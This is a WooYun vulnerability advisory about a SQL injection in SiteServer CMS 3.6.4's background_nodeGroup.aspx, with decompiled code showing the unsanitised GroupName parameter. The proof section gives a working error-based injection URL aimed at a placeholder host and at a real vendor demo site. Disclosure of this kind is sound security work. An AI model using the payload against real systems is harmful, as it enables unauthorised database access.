当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044270

漏洞标题:siteserver最新版3.6.4 sql inject 第11蛋

相关厂商:百容千域软件技术开发有限责任公司

漏洞作者: 小新

提交时间:2013-11-28 10:39

修复时间:2014-02-23 10:40

公开时间:2014-02-23 10:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-28: 细节已通知厂商并且等待厂商处理中
2013-12-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-01-27: 细节向核心白帽子及相关领域专家公开
2014-02-06: 细节向普通白帽子公开
2014-02-16: 细节向实习白帽子公开
2014-02-23: 细节向公众公开

简要描述:

siteserver 最新版3.6.4 存在注入, 第13个注入

详细说明:

第11个注入存在/siteserver/cms/background_nodeGroup.aspx
用.NET Reflector 反编译SiteServer.CMS.dll这个文件
查看代码如下:

Label_014F:
switch (str4)
{
case null:
goto Label_0119;
case "UP":
DataProvider.NodeGroupDAO.UpdateTaxisToUp(base.PublishmentSystemID, str);
goto Label_0119;
}
Label_016A:
if (str4 == "DOWN")
{
DataProvider.NodeGroupDAO.UpdateTaxisToDown(base.PublishmentSystemID, str);
}
goto Label_0119;
Label_0218:
if (4 == 0)
{
goto Label_014F;
}
Label_0222:
str = base.Request.QueryString["GroupName"];
str4 = base.Request.QueryString["Direction"].ToUpper();
goto Label_014F;


GroupName

public bool UpdateTaxisToDown(int publishmentSystemID, string groupName)
{
int num2;
bool flag;
string commandText = string.Format("SELECT TOP 1 NodeGroupName, Taxis FROM siteserver_NodeGroup WHERE (Taxis < (SELECT Taxis FROM siteserver_NodeGroup WHERE NodeGroupName = '{0}' AND PublishmentSystemID = {1}) AND PublishmentSystemID = {1}) ORDER BY Taxis DESC", groupName, publishmentSystemID);
string str2 = string.Empty;
int num = 0;


GroupName可以导致注入

漏洞证明:

http://www.target.com/siteserver/cms/background_nodeGroup.aspx?PublishmentSystemID=0&SetTaxis=True&GroupName=test4'%20and%201=@@version%20and%201='1&Direction=DOWN


2013-11-26-205936_711x302_scrot.png


http://2012.moban.siteserver.cn/siteserver/cms/background_nodeGroup.aspx?PublishmentSystemID=0&SetTaxis=True&GroupName=test4'%20and%201=@@version%20and%201='1&Direction=DOWN

修复方案:

对那几个参数过滤

版权声明:转载请注明来源 小新@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-23 10:40

厂商回复:

最新状态:

暂无